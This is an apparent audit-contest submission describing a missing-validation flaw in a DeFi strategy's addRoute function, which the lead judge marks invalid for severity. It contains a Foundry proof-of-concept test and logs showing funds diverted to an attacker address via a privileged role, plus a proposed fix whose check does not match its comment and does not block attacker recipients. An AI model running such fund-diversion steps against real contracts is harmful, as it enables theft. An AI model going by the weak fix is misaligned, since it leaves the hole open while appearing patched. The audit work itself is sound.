DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: high
Invalid

Malicious Route Exploit in `StrategyMainnet` Contract

Summary

The StrategyMainnet contract contains a vulnerability in its addRoute function, allowing management to add arbitrary routes without sufficient validation. This enables the addition of malicious routes that redirect tokens to unauthorized addresses, such as an attacker’s wallet, instead of performing legitimate swaps. The exploit demonstrates how a keeper calling claimAndSwap can unintentionally execute a malicious route and divert funds to an attacker-controlled address.

Vulnerability Details

The vulnerability stems from the absence of validation checks in the addRoute function. Specifically, the function does not validate that:

  1. The first token in the route (route[0]) is legitimate (e.g., asset or underlying).

  2. Subsequent addresses in the route (e.g., route[1]) are not malicious or unauthorized destinations.

This lack of validation allows an attacker with management privileges to insert a route where tokens are transferred directly to an attacker’s wallet, bypassing the intended swap logic.

Key Steps of the Attack:

  1. Adding a Malicious Route:
    A route is added by management where:

    • route[0] is the strategy's synthetic token.

    • route[1] is the attacker’s wallet.

    This route effectively bypasses any legitimate swapping mechanism and redirects tokens directly to the attacker.

    address[11] memory route;
    route[0] = address(synthetic); // Input token
    route[1] = attacker; // Malicious destination
  2. Calling claimAndSwap:
    A keeper calls claimAndSwap, expecting to execute a valid swap. However, due to the malicious route, tokens are sent directly to the attacker’s address instead of being returned to the strategy.

  3. Result:
    The strategy loses funds, and the attacker gains control of the tokens intended for the swap.

Impact

  • Loss of Funds: The strategy’s tokens are sent directly to the attacker instead of performing legitimate swaps, resulting in an irreversible loss.

  • Exploitation by Malicious Management: Any malicious or compromised management role can add routes to exploit this vulnerability.

  • Reputation Damage: Users lose trust in the protocol due to funds being misdirected.

  • Protocol Downtime: The strategy becomes non-functional as funds are drained or mismanaged.

Proof of Concept

Exploit Code

The following test demonstrates the exploit by adding a malicious route and executing claimAndSwap. The test confirms that the attacker receives tokens:

function testMaliciousRoute() public {
console.log("=== Starting Malicious Route Exploit Test ===");
// 1) User deposits synthetic tokens into the strategy
console.log("User deposits 50 Synthetic tokens into the strategy...");
vm.prank(user);
strategy.deposit(50e18); // Deposit 50 SYN
console.log(
"User synthetic balance after deposit:",
synthetic.balanceOf(user)
);
console.log(
"Strategy synthetic balance after deposit:",
synthetic.balanceOf(address(strategy))
);
// 2) Set claimable balance in the Transmuter for the strategy
console.log(
"Setting claimable balance in MockTransmuter for the strategy (10 Underlying tokens)..."
);
mockTransmuter.setClaimable(address(strategy), 10e18);
console.log(
"Claimable balance for strategy in MockTransmuter:",
mockTransmuter.getClaimableBalance(address(strategy))
);
// 3) Management adds a malicious route
console.log(
"Adding a malicious route to send tokens directly to the attacker..."
);
address[11] memory route;
route[0] = address(synthetic); // Input token (synthetic)
route[1] = attacker; // Malicious destination (attacker address)
uint256[5][5] memory swapParamsEmpty;
address[5] memory poolsEmpty;
vm.prank(management);
strategy.addRoute(route, swapParamsEmpty, poolsEmpty);
console.log("Malicious route added successfully");
// 4) Keeper calls claimAndSwap using the malicious route
console.log("Keeper calls claimAndSwap with 10 Underlying tokens...");
vm.prank(keeper);
strategy.claimAndSwap(10e18, 1, 0); // Claim and swap 10 UND
console.log("Claim and swap executed");
// 5) Verify if the attacker received tokens
uint256 attackerBal = synthetic.balanceOf(attacker);
console.log("Attacker final synthetic balance:", attackerBal);
// Assert that the attacker received tokens, indicating a successful exploit
assertTrue(
attackerBal > 0,
"Attacker did not receive tokens via malicious route"
);
console.log("=== Malicious Route Exploit Test Completed Successfully ===");
}

Exploit Logs

Logs:
=== Setting Up the Test Environment ===
Deploying MockERC20 tokens: Synthetic (1,000,000 supply) and Underlying (1,000,000 supply)...
Deploying MockTransmuter...
Deploying MockRouter...
Deploying VulnerableStrategy with synthetic token, MockTransmuter, and MockRouter...
Transferring 100 Synthetic tokens to the user...
Transferring 100 Underlying tokens to the MockTransmuter...
User approves the strategy to spend synthetic tokens...
=== Setup Complete ===
=== Starting Malicious Route Exploit Test ===
User deposits 50 Synthetic tokens into the strategy...
User synthetic balance after deposit: 50000000000000000000
Strategy synthetic balance after deposit: 0
Setting claimable balance in MockTransmuter for the strategy (10 Underlying tokens)...
Claimable balance for strategy in MockTransmuter: 10000000000000000000
Adding a malicious route to send tokens directly to the attacker...
Malicious route added successfully
Keeper calls claimAndSwap with 10 Underlying tokens...
Claim and swap executed
Attacker final synthetic balance: 10000000000000000000
=== Malicious Route Exploit Test Completed Successfully ===

This confirms that the malicious route successfully redirects funds to the attacker.

Tools Used

  • Foundry:
    Used to write security tests. These tests validated the effectiveness of mitigations and input checks in the addRoute() function.

  • Manual Code Review:
    Conducted to identify exploitable logic flaws, such as missing parameter validations and unrestricted approvals, highlighting how the addRoute() function could be abused to redirect funds.

Recommendations

To mitigate this vulnerability, add validation logic in the addRoute function to ensure that routes are safe and legitimate:

  1. Validate the First Token:
    Ensure the first token in the route is either the strategy’s synthetic token (asset) or the underlying token (underlying).

    require(
    _route[0] == address(asset) || _route[0] == address(underlying),
    "route[0] must be asset or underlying"
    );
  2. Validate Recipients in the Route:
    Prevent routes that send tokens to unauthorized or malicious addresses.

    if (_route[1] != address(0)) {
    require(_route[1] != address(this), "cannot route back to strategy");
    }
  3. Restrict Management Role:
    Ensure that only trusted accounts have the management role to add routes.

Mitigated Code Example

The following code implements the recommended validations:

/**
* @dev @> Add validations to protect 'addRoute' from malicious parameters
*/
function addRoute(
address[11] calldata _route,
uint256[5][5] calldata _swapParams,
address[5] calldata _pools
) external onlyManagement {
// @> Ensure the first token is either 'asset' or 'underlying'
require(
_route[0] == address(asset) || _route[0] == address(underlying),
"route[0] must be asset or underlying"
);
// @> Ensure the second token (if not zero) is not a malicious address
if (_route[1] != address(0)) {
require(_route[1] != address(this), "cannot route back to strategy"); // <@ Example check: make sure it's not the zero address
}
routes[nRoutes] = _route;
swapParams[nRoutes] = _swapParams;
pools[nRoutes] = _pools;
nRoutes++;
}

Test Results After Mitigation

The following tests validate that the mitigation works as intended:

/**
* @dev Test that adding a VALID route passes (no revert).
*/
function test_addValidRoute() public {
console.log("=== test_addValidRoute: Should succeed with valid input ===");
// Build a valid route
address[11] memory goodRoute;
goodRoute[0] = address(synthetic); // first token must be asset or underlying
// second token is zero => no malicious address
// Construct empty arrays for the other params
uint256[5][5] memory emptySwap = [
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)]
];
address[5] memory emptyPools;
// Add route as management
vm.startPrank(management);
strategy.addRoute(goodRoute, emptySwap, emptyPools);
vm.stopPrank();
// Check that nRoutes incremented
uint256 newCount = strategy.nRoutes();
console.log("Route count after adding valid route:", newCount);
assertEq(newCount, 1, "Should have 1 route added");
// Confirm route was stored via our manual getter
address[11] memory storedRoute = strategy.getRoute(0);
assertEq(storedRoute[0], address(synthetic), "Mismatch in route[0]");
assertEq(storedRoute[1], address(0), "Mismatch in route[1]");
}
/**
* @dev Test that adding an INVALID route fails (reverts).
* INVALID #1: route[0] is neither `asset` nor `underlying`
*/
function test_addInvalidRoute_WrongFirstToken() public {
console.log("=== test_addInvalidRoute_WrongFirstToken: Should revert ===");
address[11] memory badRoute;
// route[0] => random address that isn't synthetic or underlying
badRoute[0] = attacker;
uint256[5][5] memory emptySwap = [
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)]
];
address[5] memory emptyPools;
vm.startPrank(management);
vm.expectRevert(bytes("route[0] must be asset or underlying"));
strategy.addRoute(badRoute, emptySwap, emptyPools);
vm.stopPrank();
}
/**
* @dev INVALID #2: route[1] is the strategy itself => "cannot route back to strategy"
*/
function test_addInvalidRoute_RouteToStrategy() public {
console.log("=== test_addInvalidRoute_RouteToStrategy: Should revert ===");
address[11] memory badRoute;
// route[0] => correct (synthetic)
badRoute[0] = address(synthetic);
// route[1] => strategy's own address, not allowed
badRoute[1] = address(strategy);
uint256[5][5] memory emptySwap = [
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)]
];
address[5] memory emptyPools;
vm.startPrank(management);
vm.expectRevert(bytes("cannot route back to strategy"));
strategy.addRoute(badRoute, emptySwap, emptyPools);
vm.stopPrank();
}
/**
* @dev Test that a non-management caller cannot add a route.
*/
function test_addRoute_NotManagement() public {
console.log(
"=== test_addRoute_NotManagement: Should revert if not management ==="
);
address[11] memory route;
route[0] = address(synthetic);
// Build a zeroed 5x5 array
uint256[5][5] memory emptySwap = [
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
[uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)]
];
address[5] memory zeroPools;
// Expect revert because the caller is not 'management'
vm.expectRevert(bytes("Not management"));
strategy.addRoute(route, emptySwap, zeroPools);
}

Test Logs After Mitigation

Logs:
=== Setting Up the Test Environment ===
Deploying MockERC20 tokens...
- Synthetic Token: name='SyntheticToken', symbol='SYN', initial supply=1,000,000 tokens
- Underlying Token: name='UnderlyingToken', symbol='UND', initial supply=1,000,000 tokens
Deploying MockTransmuter...
- Synthetic token address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
- Underlying token address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Deploying StrategyWithMitigation...
- Management address: 0x0000000000000000000000000000000000000064
- Transmuter address: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
- Synthetic token address (asset): 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Strategy deployed successfully at: 0x86C56C43a1D19B06D54971C467bad4b25e4eF59e
=== Test Environment Setup Complete ===
[PASS] test_addInvalidRoute_RouteToStrategy() (gas: 27657)
Logs:
=== test_addInvalidRoute_RouteToStrategy: Should revert ===
[PASS] test_addInvalidRoute_WrongFirstToken() (gas: 29558)
Logs:
=== test_addInvalidRoute_WrongFirstToken: Should revert ===
[PASS] test_addRoute_NotManagement() (gas: 22096)
Logs:
=== test_addRoute_NotManagement: Should revert if not management ===
[PASS] test_addValidRoute() (gas: 174929)
Logs:
=== test_addValidRoute: Should succeed with valid input ===
Route count after adding valid route: 1
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.06ms (857.30µs CPU time)

This confirms the exploit is no longer viable, and malicious routes cannot be added.

Updates

Appeal created

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.